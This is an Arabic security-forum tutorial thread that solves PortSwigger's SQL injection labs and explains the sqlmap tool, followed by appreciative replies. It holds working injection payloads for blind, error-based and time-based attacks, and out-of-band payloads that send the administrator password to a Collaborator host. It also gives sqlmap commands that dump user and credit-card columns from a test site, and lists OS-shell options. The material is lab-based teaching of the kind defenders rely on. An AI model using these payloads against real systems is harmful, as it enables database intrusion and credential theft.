مضى على الشبكة و يوم من العطاء.
  • تحذير: يجب على كل روّاد الشبكة تشغيل برامج الاختراق داخل الأنظمة الوهمية وهي بهدف التعلم وحماية الأعضاء والتوعية بها

[ Portswigger ] حل لابات الـ sql كاملة من موقع portswigger + شرح أداة sqlmap + خريطة تعلم الـ sql للاحتراف

3b0-0d3b0-0d is verified member.

{ || مشرف قسم CTF || }
.:: طاقم المشرفين ::.

السمعة:

53441.webp

عشان تقدر تفهم الـ sql بشكل احترافي عزيزي القارئ بدك تفهم كم نقطة


1.
تفهم شو يعني الـ sql بتقدر تقرأ هاد المقال 👇
كود:
https://sh3ll.cloud/xf2/threads/1818


2. تفهم شو يعني Database وكيف التيبلز شكلها ومشروحه بالفيديو هون بشكل بسيط وفي شرح بسيط كيف تعمل جداول 👇
كود:
https://youtu.be/-G6im2Uj4Gw?si=RsPetz_FzdsW8S8n[/SIZE][/CENTER][/SIZE][/CENTER]
[SIZE=5][CENTER][SIZE=5][CENTER]https://sh3ll.cloud/xf2/threads/356/




3. تطبق عملي على الـ sql وتعرف تستخدم أدوات جاهزه تفيدك مثل sqlmap موضوعنا اليوم راح يفيدك إن شاء الله وهي رابطه👇
كود:
https://sh3ll.cloud/xf2/threads/2443/


4. طبعا وأكيد أداة Burp suite اللي بتساعدك بشكل كبير شرحها كامل هون 👇
كود:
https://sh3ll.cloud/xf2/threads/1389[/SIZE][/CENTER][/SIZE][/CENTER]
[SIZE=5][CENTER][SIZE=5][CENTER]https://sh3ll.cloud/xf2/threads/1573
https://sh3ll.cloud/xf2/threads/1729




5. أكيد تفهم أجزاء الـ URL والـ HTTP Methods والـ HTTP Status Codes والـ Headers
كود:
https://sh3ll.cloud/xf2/threads/988/


حل لابات الـ sql inj وعددها الـ 18 Lab


أول 10 لابات مع شرحهن فيديو يوتيوب




ضل 8 لابات 👇
هي حلهن أول اشي وبالآخر شرح الـ sqlmap



Blind SQL injection with conditional responses

1718551697397.webp



في عننا الـ TrackingId لما نخلي الأمر فيه يكون True بعطينا إشارة Welcome back


1718553023592.webp


ولما نعكس الأمر ما بظهر أي شيء


1718553087636.webp


بنستخدم الأمر هاد عشان نحكيله أن ال a = a


كود:
' AND (SELECT 'a' FROM users WHERE username='administrator')='a

1718554240374.webp



بنعدل عليه و بنستخدم LENGTH(password)=1

عشان نعرف حجم الباسورد


كود:
' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)=1)='a


بعدها بنعمل بروت فورس يجرب كل القيم من واحد ل 30 مثلاً عشان نعرف حجم الباسورد


Screenshot 2024-06-16 191800.webp



يعني حجم الباسورد 20


1718565072009.webp



هون بنعدل الأمر ليصير هيك

كود:
' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='a

هاي عشان يجرب أول حرف من الباسورد إذا كانت a برجع true يعني بعطينا كلمه Welcome back

بعدها بنعمل بنغير SUBSTRING(password,1,1) بنخليها ل SUBSTRING(password,2,1) عشان نجرب للحرف الثاني وهيك

هون بنحدد على مكانين

المكان الأول الـ payload ( يعني يجرب القيم ) من 1 ل 21 رقم
المكان الثاني الـ payload ( يعني يجرب القيم ) كل الأحرف السمول والأرقام من 0 ل 9 بنضيفهم من خلال القائمة تحت اسمها Add From List



1718565093804.webp



1718565106537.webp


1718565048350.webp



بعدها عن طريق كلمه فلتر بنفرزهم حسب الـ Request اللي فيه كلمه Welcome back

1719043474490.webp


وبنفرزهم حسب ال payload بتطلع معنا كلكمه السر من أول بايلود اللي هو أول حرف من الباسورد لآخر بايلود اللي هو آخر حرف بالباسورد

1718565197823.webp


Blind SQL injection with conditional errors



1718565920044.webp


هون إذا جربنا نبعث ' راح يعطينا خطأ ولو جربنا نسكرها يعني نحط ثنتين ' ' راح نلاقي إنه الخطأ راح


كود:
'||(SELECT CASE WHEN (0=1) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||'
بنلاحظ ما صار شيء لأنه خلينا الأمر يعطي فولس


1718569383650.webp



يعني الإدخال هاد اللي تحت معناه إذا كان ترو يعطينا اريور سببه إنه حطينه فنكشن تقسم الرقم واحد على 0 عشان يعطينا اريور

كود:
TrackingId=xyz'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||'

1718569416784.webp



ف بنستخدم العملية هاي عشان نتأكد من اسم المستخدم إذا كان موجود راح يعطينا خطأ ...

كود:
'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'

1718569493761.webp



بعدها بنجرب الـ LENGTH عشان نعرف حجم الباسورد

كود:
'||(SELECT CASE WHEN LENGTH(password)=1 THEN to_char(1/0) ELSE '' END FROM users WHERE username='administrator')||'

1718569711671.webp



بنعمل بروت فورس يجرب هاي القيم من واحد ل 30 مثلًا


1718569833897.webp



بنلاقي إنه الحجم 20

كود:
'||(SELECT CASE WHEN SUBSTR(password,§1§,1)='§a§' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'

بعدها بنعمل زي ما عملنا باللاب السابق وبنفرزهم تحت حسب وجود كلمه الخطأ أو الايرور اللي بصير عنا بالمتصفح

1718576329196.webp

1718576378985.webp

1718576405397.webp



تكمله الشرح بالصورة:



Screenshot 2024-06-17 110450.webp


1718612892092.webp



Visible error-based SQL injection

1718612980084.webp


1718613632102.webp


1718613613667.webp



بنستخدم الأمر هاد لإنه هون بقبل بس قيمة int

كود:
' AND CAST((SELECT 1) AS int)--


1718613722179.webp



بحكيلنا لازم يكون الأمر AND بولين يعني الناتج 1 أو 0 بنضيف إشارة 1 =


كود:
' AND 1=CAST((SELECT 1) AS int)--

هيك فش أخطاء

1718613818171.webp


هسا بس بنغير الإدخال جوا select بنخليه يرجعلنا أسماء ال users

كود:
' AND 1=CAST((SELECT username FROM users) AS int)--


1718613923885.webp


خطأ بسبب حجم الحروف بنمحي ال TrackingId اللي موجود بنخلي بس الأمر تاعنا


بظهر خطأ جديد إنه أعاد أكثر من سطر

1718614012992.webp



فعن طريق الأمر التالي بنحددله كم سطر يرجع


1718614057701.webp


هيك رجعلنا الاسم


هسا بس بنعدل الـ username لـ password وبرجعلنا الباسورد


1718614131545.webp



Blind SQL injection with time delays



1718614193555.webp




1718614586986.webp


زي ما شرحنا بالفيديو بنستخدم || عشان ندمج أكثر من تنفيذ بنفس المكان يعني لو بدنا نستخدم ال union من شروطها

القواعد لاستخدام الـ UNION

1.
لازم يرجع نفس عدد الأعمدة في كل استعلام SELECT
2.
الأعمدة لازم تكون من نفس نوع البيانات
3. ترتيب الأعمدة لازم يكون نفسه في كل استعلام

وحكينا بالفيديو لو كان برجع استعلام واحد قبل بنحتاج نستخدم || عشان نرجع أكثر من كولوم بنفس الاستعلام
شرحت عنها بالدقيقه هاي

كود:
https://youtu.be/-G6im2Uj4Gw?si=RZkv1RODxN_yTrw9&t=1209


فالأمر اللي عننا بنفذ اللي موجود بالـ TrackingId وبتنفذ الأمر sleep

1718616623676.webp



Blind SQL injection with time delays and information retrieval

أول شيء بنجرب إدخال

كود:
'; SELECT CASE WHEN (1=1) THEN pg_sleep(10) ELSE pg_sleep(1) END--

معناه
1=1 دائماً ترو

عشان هيك راح يتنفذ أول أمر احنا بنحطه اللي هو pg_sleep(10)

بس لما نيجي بدنا نجربه بنعمله url enc
بصير هيك

كود:
'%3BSELECT+CASE+WHEN+(1=1)+THEN+pg_sleep(10)+ELSE+pg_sleep(1)+END--


بنلاحظ إنه عمل sleep لـ عشر ثواني

بنجرب نخلي الأمر يعطي فولس عشان ينفذ الأمر الثاني

كود:
[CODE]'%3BSELECT+CASE+WHEN+(1=0)+THEN+pg_sleep(10)+ELSE+pg_sleep(1)+END--

[/CODE]

بنلاحظ إنه عمل sleep لـ ثانية


بعدها بنجهز الأمر هاد عشان نعمل هجوم يجرب كل القيم الممكنه عشان نعرف حجم الباسورد
كود:
'%3BSELECT+CASE+WHEN+(username='administrator'+AND+LENGTH(password)=1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--

بنلاحظ إنه في واحد عمل sleep يعني هو الحجم الصحيح للباسورد

1718618132866.webp


ألا وهو الرقم 20


وزي ما عملنا قبل بنستخدم الإدخال هاد عشان نعمل هجوم نعرف الباسورد عن طريقه

كود:
'%3BSELECT+CASE+WHEN+(username='administrator'+AND+SUBSTRING(password,1,1)='a')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--

هيك يعني اللي بعمل سليب وبتأخر بالنتيجة هو الحرف الصحيح بالمكان الصحيح حسب البايلود الأول

بنجرب واحد واحد
لا ننسى نزيد
(password,1,1) هاي للحرف للأول
(password,2,1) هاي للحرف الثاني
(password,3,1) هاي للحرف الثالث

.
.
.
وهيك



1718620276892.webp



هيك عننا o

وبنكمل زي ما بالفيديو








Blind SQL injection with out-of-band interaction

بدي أشرح اشي قبل ما أحل التحدي اللي هي الـ Collaborator

النقطة السادسة

الـ "Burp Suite Professional" هو إصدار مطور من الـ "Burp Suite Community"، بتجيلك بمميزات زي:
  1. ماسح آلي للاستفادة من الثغرات في المواقع.
  2. أداة تسمى "fuzzer/brute-forcer" بتختبر الصفحات بشكل سريع بدون قيود.
  3. بتقدر تحفظ المشاريع اللي شغال عليها عشان ترجع لهم بوقت لاحق أو تعمل تقارير عنهم.
  4. فيه API مدمج تقدر تستخدمه لربط البرنامج مع أدوات ثانية.
  5. ممكن تضيف امتدادات جديدة لزيادة وظائف البرنامج.
  6. وفيه ميزة اسمها "Burp Suite Collaborator" بتقدر تستخدمها لمراقبة طلبات الخادم والاستجابات.

بكل بساطه هو خدمة بتمكنك تكتشف الثغرات الغير المرئية

يعني الثغرات اللي :
  1. ما بتسبب رسائل خطأ: لن يظهر أي رسالة خطأ تشير إلى وجود مشكلة.
  2. ما بتسبب اختلافات بمخرجات التطبيق: لا تغير في مخرجات التطبيق التي يمكن ملاحظتها.
  3. ما بتسبب تأخيرات زمنية قابلة للاكتشاف: لا تؤدي إلى تأخيرات ملحوظة في استجابة التطبيق.

طيب كيف بتشتغل

collaborator1.webp


الـ Burp بتبعث Payload تابعه للـ Collaborator بـ Request
الـ payload عبارة عن subdomain للـ Collaborator
الـ Burp بعمل زي ما نحكي Monitor بشوف إذا في تفاعل من الخادم زي ما بالصورة اللي فوق


عشان نحل التحدي بنستخدم الأمر هاد بس بنبدل القيمه هاي BURP-COLLABORATOR-SUBDOMAIN

كود:
TrackingId=x'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//BURP-COLLABORATOR-SUBDOMAIN/">+%25remote%3b]>'),'/l')+FROM+dual--[/B][/SIZE][/CENTER][/B][/SIZE][/CENTER]
[SIZE=5][B][CENTER][SIZE=5][B][CENTER]



طبعًا الأمر هاد بنطلعه من الـ cheat sheet الخاصه بالـ sql من موقع portswigger


1718875947455.webp


بالقيمه اللي بننسخها من هون

1718875101377.webp


بعد ما نرسل الريكويست


1718875281263.webp



بنلاقي إنه ظهر عنا


1718875211921.webp


وهيك نحل التحدي







Blind SQL injection with out-of-band data exfiltration



هاد التحدي نفس اللي فوق بس بدنا نطلع data وبرضو بنلاقيه على موقع الـ cheat sheet الخاصه بالـ sql من موقع portswigger

1718876063759.webp


بنستخدم الأمر هاد وبنعدل القيمه BURP-COLLABORATOR-SUBDOMAIN زي قبل شوي تمامًا بس بنستخدم الأمر هاد عشان نرجع الباسورد الخاصه باليوزر اللي اسمه Administrator


كود:
TrackingId=x'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//'||(SELECT+password+FROM+users+WHERE+username%3d'administrator')||'.BURP-COLLABORATOR-SUBDOMAIN/">+%25remote%3b]>'),'/l')+FROM+dual--[/B][/SIZE][/CENTER][/B][/SIZE][/CENTER]
[SIZE=5][B][CENTER][SIZE=5][B][CENTER]




وهيك بنطلع الباسورد لأنه احنا كاتبين بالأمر إنه يطبعه قبل الـ BURP-COLLABORATOR-SUBDOMAIN بنقطه dministrator')||'.BURP-COLLAB

1718876352308.webp



حل الاب بالعربي






SQL injection with filter bypass via XML encoding


بنعمل Check stock وبنبعث الطلب للـ Repeater



1719040719205.webp



1719040673089.webp



بحاول نغير بقيمه الـ storeId زي مثلًا نجرب نحط 1 UNION SELECT NULL

بعطينا

1719040837793.webp



بنبحث على الـ Extensions على هاي الإضافة اللي بتسمحلنا نعمل أشياء كثير عن طريقها بنحاول نعمل obfuscating للبايلود

1719040982115.webp



بعدها بنحدد على النص

1719041116781.webp

وبنعملها obfuscating عن طريق الخطوات هاي


1719041142499.webp



لما نجرب نرسل الطلب بنلاقي إنه ما اكتشف إني بعمل اتتاك


1719041194520.webp


بعدها بنرجع اليوزرز والباسورد


1719041400732.webp





شرح أداة sqlmap

أهم الأوامر الأساسية التي تحتاجها لاستغلال أي موقع باستخدام أداة sqlmap :

الأوامر
الشرح
u URL, --url=URL-
تحديد عنوان الهدف (مثال: "http://www.site.com/vuln.php?id=1")
dbs--
اختبار واستخراج قواعد البيانات
D DBNAME --tables-
استخراج جداول قاعدة بيانات معينة
D DBNAME -T TABLENAME --columns-
استخراج أعمدة جدول معين
D DBNAME -T TABLENAME -C COLUMN --dump-
استخراج بيانات أعمدة معينة


1. مثال عملي على موقع عادي

بنشوف قواعد البيانات المتاحة :

كود:
sqlmap -u "http://www.site.com/vuln.php?id=1" --dbs[/SIZE][/CENTER][/SIZE][/CENTER]
[SIZE=5][CENTER][SIZE=5][CENTER]



بنستخرج الجداول اللي موجودة بقاعدة البيانات :
كود:
sqlmap -u "http://www.site.com/vuln.php?id=1" -D dbname --tables[/SIZE][/CENTER][/SIZE][/CENTER]
[SIZE=5][CENTER][SIZE=5][CENTER]



بنستخرج الأعمدة من جدول معين :
كود:
sqlmap -u "http://www.site.com/vuln.php?id=1" -D dbname -T tablename --columns[/SIZE][/CENTER][/SIZE][/CENTER]
[SIZE=5][CENTER][SIZE=5][CENTER]



بنستخرج بيانات من الأعمدة :
كود:
sqlmap -u "http://www.site.com/vuln.php?id=1" -D dbname -T tablename -C columnname --dump[/SIZE][/CENTER][/SIZE][/CENTER]
[SIZE=5][CENTER][SIZE=5][CENTER]






2. مثال عملي على موقع تسجيل دخول

حقن استعلام SQL في حقل username عشان نشوف إذا فيه ثغره sql
كود:
sqlmap -u "http://www.example.com/login.php" --data="username=admin&password=admin" --batch --current-db[/B][/SIZE][/CENTER][/B][/SIZE][/CENTER]
[SIZE=5][B][CENTER][SIZE=5][B][CENTER]




إذا تم اكتشاف ثغرة بنكمل عشان نشوف قواعد البيانات المتاحة :
كود:
sqlmap -u "http://www.example.com/login.php" --data="username=admin&password=admin" --dbs[/B][/SIZE][/CENTER][/B][/SIZE][/CENTER]
[SIZE=5][B][CENTER][SIZE=5][B][CENTER]




بنستخرج الجداول اللي موجودة بقاعدة البيانات :
كود:
sqlmap -u "http://www.example.com/login.php" --data="username=admin&password=admin" -D exampledb --tables[/B][/SIZE][/CENTER][/B][/SIZE][/CENTER]
[SIZE=5][B][CENTER][SIZE=5][B][CENTER]




بنستخرج الأعمدة من جدول معين :
كود:
sqlmap -u "http://www.example.com/login.php" --data="username=admin&password=admin" -D exampledb -T users --columns[/SIZE][/CENTER][/SIZE][/CENTER]
[SIZE=5][CENTER][SIZE=5][CENTER]




بنستخرج بيانات من الأعمدة :
كود:
sqlmap -u "http://www.example.com/login.php" --data="username=admin&password=admin" -D exampledb -T users -C "id,username,password" --dump[/SIZE][/CENTER][/SIZE][/CENTER]
[SIZE=5][CENTER][SIZE=5][CENTER]




3. نجرب على موقع حقيقي


بنستخدم الأمر هاد عشان نشوف شو هي قواعد البيانات المتاحة
كود:
python .\sqlmap.py -u http://testphp.vulnweb.com/artists.php?artist=1 --dbs


1719049471525.webp

1719049502612.webp




بظهرلنا هون نتائج الفحص والأمر اللي استخدمته عشان أعرف شو هي أسماء الداتابيز


بعدها بنستخرج أسماء الجداول عن طريق اسم الداتابيز باستخدام الأمر هاد
كود:
python .\sqlmap.py -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart --tables


1719049707653.webp



بعدها بنستخرج البيانات من جدول معين مثلًا ال users


كود:
python .\sqlmap.py -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart -T users --columns[/SIZE][/CENTER][/SIZE][/CENTER]
[SIZE=5][CENTER][SIZE=5][CENTER]



1719050055692.webp



بنستخرج البيانات من العامود ال name وال pass وال cc مثلاً

عن طريق الأمر
كود:
python .\sqlmap.py -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart -T users -C name,pass,cc --dump



1719050192342.webp


جدول أوامر الأداة


الفئة
الأوامر
الشرح
عام
-h, --help
عرض رسالة المساعدة الأساسية والخروج
-hh
عرض رسالة المساعدة المتقدمة والخروج
--version
عرض رقم إصدار البرنامج والخروج
-v VERBOSE
مستوى التفاصيل: من 0-6 (الافتراضي 1)
الهدف
-u URL, --url=URL
عنوان الهدف (مثال: "http://www.site.com/vuln.php?id=1")
-d DIRECT
سلسلة الاتصال لاتصال مباشر بقاعدة البيانات
-l LOGFILE
تحليل الهدف من ملف سجل وكيل Burp أو WebScarab
-m BULKFILE
فحص أهداف متعددة من ملف نصي
-r REQUESTFILE
تحميل طلب HTTP من ملف
-g GOOGLEDORK
معالجة نتائج بحث Google Dork كعناوين أهداف
-c CONFIGFILE
تحميل الخيارات من ملف تكوين INI
الطلب
-A AGENT, --user-agent=AGENT
قيمة رأس HTTP User-Agent
-H HEADER, --header=HEADER
رأس إضافي (مثال: "X-Forwarded-For: 127.0.0.1")
--method=METHOD
فرض استخدام طريقة HTTP معينة (مثال: PUT)
--data=DATA
سلسلة البيانات المرسلة عبر POST (مثال: "id=1")
--param-del=PARAMDEL
حرف لفصل قيم المعلمات (مثال: &)
--cookie=COOKIE
قيمة رأس HTTP Cookie (مثال: "PHPSESSID=a8d127e..")
--cookie-del=COOKIEDEL
حرف لفصل قيم الكوكيز (مثال: ;)
--live-cookies=LIVECOOKIES
ملف الكوكيز لاستخدام القيم المحدثة
--load-cookies=LOADCOOKIES
ملف يحتوي على كوكيز بصيغة Netscape/wget
--drop-set-cookie
تجاهل رأس Set-Cookie من الاستجابة
--mobile
محاكاة الهاتف الذكي عبر رأس HTTP User-Agent
--random-agent
استخدام قيمة عشوائية لرأس HTTP User-Agent
--host=HOST
قيمة رأس HTTP Host
--referer=REFERER
قيمة رأس HTTP Referer
--headers=HEADERS
رؤوس إضافية (مثال: "Accept-Language: fr\nETag: 123")
--auth-type=AUTHTYPE
نوع مصادقة HTTP (Basic, Digest, Bearer, ...)
--auth-cred=AUTHCRED
بيانات اعتماد مصادقة HTTP (name
)
--auth-file=AUTHFILE
ملف مصادقة HTTP بشهادة PEM/مفتاح خاص
--abort-code=ABORTCODE
إيقاف على كود خطأ HTTP معين (مثال: 401)
--ignore-code=IGNORECODE
تجاهل كود خطأ HTTP معين (مثال: 401)
--ignore-proxy
تجاهل إعدادات الوكيل الافتراضية للنظام
--ignore-redirects
تجاهل محاولات إعادة التوجيه
--ignore-timeouts
تجاهل وقت انتهاء الاتصال
--proxy=PROXY
استخدام وكيل للاتصال بالهدف
--proxy-cred=PROXYCRED
بيانات اعتماد الوكيل (name
)
--proxy-file=PROXYFILE
تحميل قائمة وكلاء من ملف
--proxy-freq=PROXYFREQ
عدد الطلبات بين تغيير الوكيل من القائمة
--tor
استخدام شبكة تور للخصوصية
--tor-port=TORPORT
تعيين منفذ وكيل تور غير الافتراضي
--tor-type=TORTYPE
تعيين نوع وكيل تور (HTTP, SOCKS4, SOCKS5)
--check-tor
التحقق من استخدام تور بشكل صحيح
--delay=DELAY
تأخير بالثواني بين كل طلب HTTP
--timeout=TIMEOUT
ثواني الانتظار قبل انتهاء مهلة الاتصال (الافتراضي 30)
--retries=RETRIES
عدد المحاولات عند انتهاء مهلة الاتصال (الافتراضي 3)
--retry-on=RETRYON
إعادة المحاولة عند مطابقة تعبير عادي معين
--randomize=RPARAM
تغيير عشوائي لقيمة معلمة معينة
--safe-url=SAFEURL
عنوان URL آمن للزيارة بشكل متكرر أثناء الاختبار
--safe-post=SAFEPOST
بيانات POST لإرسالها إلى عنوان URL آمن
--safe-req=SAFEREQ
تحميل طلب HTTP آمن من ملف
--safe-freq=SAFEFREQ
عدد الطلبات العادية بين زيارات العنوان الآمن
--skip-urlencode
تخطي ترميز URL لبيانات الحمولة
--csrf-token=CSRFTOKEN
معلمة لحمل رمز مكافحة CSRF
--csrf-url=CSRFURL
عنوان URL لزيارة لاستخراج رمز مكافحة CSRF
--csrf-method=CSRFMETHOD
طريقة HTTP لاستخدامها أثناء زيارة صفحة رمز مكافحة CSRF
--csrf-data=CSRFData
بيانات POST لإرسالها أثناء زيارة صفحة رمز مكافحة CSRF
--csrf-retries=CSRFRETRIES
عدد المحاولات لاستخراج رمز مكافحة CSRF (الافتراضي 0)
--force-ssl
فرض استخدام SSL/HTTPS
--chunked
استخدام طلبات HTTP chunked transfer encoded (POST)
--hpp
استخدام طريقة تلوث معلمات HTTP
--eval=EVALCODE
تقييم كود Python المقدم قبل الطلب (مثال: "import hashlib;id2=hashlib.md5(id).hexdigest()")
التحسين
-o
تشغيل كل مفاتيح التحسين
--predict-output
التنبؤ بمخرجات الاستعلامات الشائعة
--keep-alive
استخدام اتصالات HTTP(s) المستمرة
--null-connection
استرجاع طول الصفحة بدون جسم استجابة HTTP الفعلي
--threads=THREADS
عدد الحد الأقصى من طلبات HTTP(s) المتزامنة (الافتراضي 1)
الحقن
-p TESTPARAMETER
معلمة قابلة للاختبار
--skip=SKIP
تخطي اختبار معلمة معينة
--skip-static
تخطي اختبار المعلمات الساكنة
--param-exclude=PEXCLUDE
استبعاد المعلمات التي تتطابق مع تعبير عادي معين
--dbms=DBMS
فرض استهداف قاعدة بيانات معينة
--dbms-cred=DBMSCRED
بيانات اعتماد قاعدة البيانات لتخطي الاستغلال (user
)
--os=OS
فرض استهداف نظام تشغيل معين
--invalid-bignum
استخدام أعداد صحيحة كبيرة غير صالحة للاختبار
--invalid-logical
استخدام تعبيرات منطقية غير صالحة للاختبار
--invalid-string
استخدام سلاسل غير صالحة للاختبار
--no-cast
تجاهل استخدام النوع أثناء الحقن الاحتيالي
--no-escape
تجاهل استخدام الرموز الهروب أثناء الحقن
--prefix=PREFIX
سلسلة لحقنها قبل كل حمولة أثناء الحقن
--suffix=SUFFIX
سلسلة لحقنها بعد كل حمولة أثناء الحقن
--tamper=TAMPER
استخدام برامج التشويش الخاصة بالحقل (مثال: "between,randomcase")
الفحص
-level=LEVEL
مستوى الشدة من 1-5 (الافتراضي 1)
--risk=RISK
مستوى المخاطرة من 1-3 (الافتراضي 1)
--string=STRING
سلسلة لاكتشاف استجابة الحقن الناجحة
--not-string=NOTSTRING
سلسلة لاكتشاف استجابة الحقن غير الناجحة
--regexp=REGEXP
تعبير عادي لاكتشاف استجابة الحقن الناجحة
--code=CODE
كود حالة HTTP لاكتشاف استجابة الحقن الناجحة
--smart
إجراء اختبار حقن ذكي
--text-only
مقارنة الاختلافات في المحتوى فقط
--titles
مقارنة الاختلافات في عنوان HTML فقط
تحصيل المعلومات
-a, --all
استرجاع كل المعلومات
-b, --banner
استرجاع شعار قاعدة البيانات
--current-user
استرجاع المستخدم الحالي لقاعدة البيانات
--current-db
استرجاع قاعدة البيانات الحالية
--hostname
استرجاع اسم المضيف
--is-dba
التحقق مما إذا كان المستخدم الحالي لديه امتيازات DBA
--users
استرجاع أسماء مستخدمي قاعدة البيانات
--passwords
استرجاع كلمات مرور مستخدمي قاعدة البيانات
--privileges
استرجاع امتيازات مستخدمي قاعدة البيانات
--roles
استرجاع أدوار مستخدمي قاعدة البيانات
--dbs
استرجاع قواعد البيانات المتاحة
--tables
استرجاع جداول قاعدة البيانات
--columns
استرجاع أعمدة الجداول
--schema
استرجاع مخطط قاعدة البيانات بالكامل
--count
استرجاع عدد المدخلات في الجداول
--dump
تفريغ بيانات الجدول
--dump-all
تفريغ كل بيانات قاعدة البيانات
--search
البحث عن أسماء الأعمدة
--comments
استرجاع تعليقات قاعدة البيانات
-D DB
قاعدة البيانات لعملية الاسترجاع
-T TBL
الجدول لعملية الاسترجاع
-C COL
العمود لعملية الاسترجاع
--exclude-sysdbs
استبعاد قواعد البيانات النظامية
--pivot-column=PIVOTCOLUMN
العمود المحوري
--where=DUMPWHERE
جملة شرطية لاسترجاع البيانات
--start=LIMITSTART
قيمة البدء لتفريغ الجدول
--stop=LIMITSTOP
قيمة الإيقاف لتفريغ الجدول
--first=FIRSTCHAR
موضع الحرف الأول للتفريغ
--last=LASTCHAR
موضع الحرف الأخير للتفريغ
--sql-query=SQLQUERY
استرجاع نتيجة استعلام SQL المخصص
--sql-shell
إسقاط إلى واجهة سطر الأوامر لقاعدة البيانات
--sql-file=SQLFILE
قراءة استعلامات SQL لتنفيذها من ملف خارجي
الاستغلال
--os-cmd=OSCMD
تنفيذ أمر نظام التشغيل
--os-shell
إسقاط إلى واجهة سطر الأوامر لنظام التشغيل
--os-pwn
استخدام Metasploit لحصول على اتصال عكسي
--os-smbrelay
إجراء هجوم SMB relay
--os-bof
تنفيذ هجوم buffer overflow
--priv-esc
محاولة ترقية الامتيازات
--msf-path=MSFPATH
مسار Metasploit Framework
--tmp-path=TMPPATH
مسار دليل التخزين المؤقت لنظام التشغيل الهدف
أدوات
--reg-read
قراءة قيمة السجل
--reg-add
إضافة إدخال السجل
--reg-del
حذف إدخال السجل
--reg-key=REGKEY
مفتاح السجل
--reg-value=REGVAL
قيمة السجل
--reg-data=REGDATA
بيانات السجل
--reg-type=REGTYPE
نوع السجل
--file-read=FILE
قراءة الملف
--file-write=FILE
كتابة الملف
--file-dest=DEST
دليل الهدف على نظام التشغيل
--shell
إسقاط إلى واجهة سطر الأوامر التفاعلية
--purge
تطهير ملفات وأدلة مؤقتة
البيانات
--save=SAVE
حفظ خيارات الإدخال إلى ملف INI
--load=LOAD
تحميل خيارات الإدخال من ملف INI
--merge=MERGE
دمج خيارات الإدخال من ملف INI
--save-config=SCONFIG
حفظ خيارات الإعداد إلى ملف INI
--flush-session
تطهير المعلومات الخاصة بالجلسة الحالية
--fresh-queries
تجاهل الحفظ في قاعدة بيانات الجلسة
--eta
عرض الوقت المتوقع لإنهاء تنفيذ العملية
--update
تحديث sqlmap
--dependencies
التحقق من الاعتماديات المفقودة
--disable-coloring
تعطيل تلوين الإخراج



تقدر تلاقي مثال لتشغيل الأداة هنا. ولمعلومات أكتر عن قدرات الأداة والمزايا والأوامر المختلفة، ممكن تشوف دليل المستخدم.

روابط مهمة

 
التعديل الأخير بواسطة المشرف:
عبووود يا عبود !!~
بارك الله فيك وجزاك الله كل خير والله شرح كبير ووافي وهاذ من اجمل الشروحات اللي شفتها على الموضوع ~
صدقاً يعجز اللسان احياناً عن شكر جهودك ~
ننتظر باقي الاجزاء وان شاء الله تكون سلسلة مخيفة ياوحش ~
استمر ودائماً بإنتظارك حبيب القلب ~

تقبل مروري
 
للأمانة يا نيال و الله يعين طلاب السايبر عليك

يا نايالهم على المواضيع الفخمة و الي نفتخر بوجودها في المنتدى
و الله يعينهم على طول هاي المواضيع


الله يوفقك أخوي عبود و تكون من أكثر الناس المميزين بالمجال انت و باقي الشباب ❤️🔥
 
عبووود يا عبود !!~
بارك الله فيك وجزاك الله كل خير والله شرح كبير ووافي وهاذ من اجمل الشروحات اللي شفتها على الموضوع ~
صدقاً يعجز اللسان احياناً عن شكر جهودك ~
ننتظر باقي الاجزاء وان شاء الله تكون سلسلة مخيفة ياوحش ~
استمر ودائماً بإنتظارك حبيب القلب ~

تقبل مروري
اشكرك جدا على كلماتك الجميلة والدعم اللي ما بنتهي :love:🥰
 
  • Love
التفاعلات: STORM
للأمانة يا نيال و الله يعين طلاب السايبر عليك
يا نايالهم على المواضيع الفخمة و الي نفتخر بوجودها في المنتدى
نيالني فيكم والله وبالمنتدى الرهيب جدا


و الله يعينهم على طول هاي المواضيع
shadow

بتفق معك على الموضوع 😂😂😂😂😂


الله يوفقك أخوي عبود و تكون من أكثر الناس المميزين بالمجال انت و باقي الشباب ❤️🔥
اجمعين يا رب 😍
 
عشان تقدر تفهم الـ sql بشكل احترافي عزيزي القارئ بدك تفهم اكم نقطه


1.
تفهم شو يعني الـ sql بتقدر تقرأ هاد المقال 👇
كود:
https://sh3ll.cloud/xf2/threads/1818


2. تفهم شو يعني Database وكيف التيبلز شكلها ومشروحه بالفيديو هون بشكل بسيط وفي شرح بسيط كيف تعمل جداول 👇
كود:
https://youtu.be/-G6im2Uj4Gw?si=RsPetz_FzdsW8S8n
https://sh3ll.cloud/xf2/threads/356/


3. تطبق عملي على الـ sql وتعرف تستخدم ادوات جاهزه تفيدك مثل sqlmap موضوعنا اليوم راح يفيدك ان شاء الله وهي رابطو👇
كود:
https://sh3ll.cloud/xf2/threads/2443/


4. طبعا واكيد اداه Burp suite اللي بتساعدك بشكل كبير شرحها كامل هون 👇
كود:
https://sh3ll.cloud/xf2/threads/1389
https://sh3ll.cloud/xf2/threads/1573
https://sh3ll.cloud/xf2/threads/1729


5. اكيد تفهم اجزاء الـ URL والـ HTTP Methods والـ HTTP Status Codes والـ Headers
كود:
https://sh3ll.cloud/xf2/threads/988/


حل لابات الـ sql inj وعددها الـ 18 Lab



اول 10 لابات مع شرحهن فيديو يوتيوب




ضل 8 لابات 👇
هي حلهن اول اشي وبالاخر شرح الـ sqlmap







Blind SQL injection with conditional responses

مشاهدة المرفق 10785


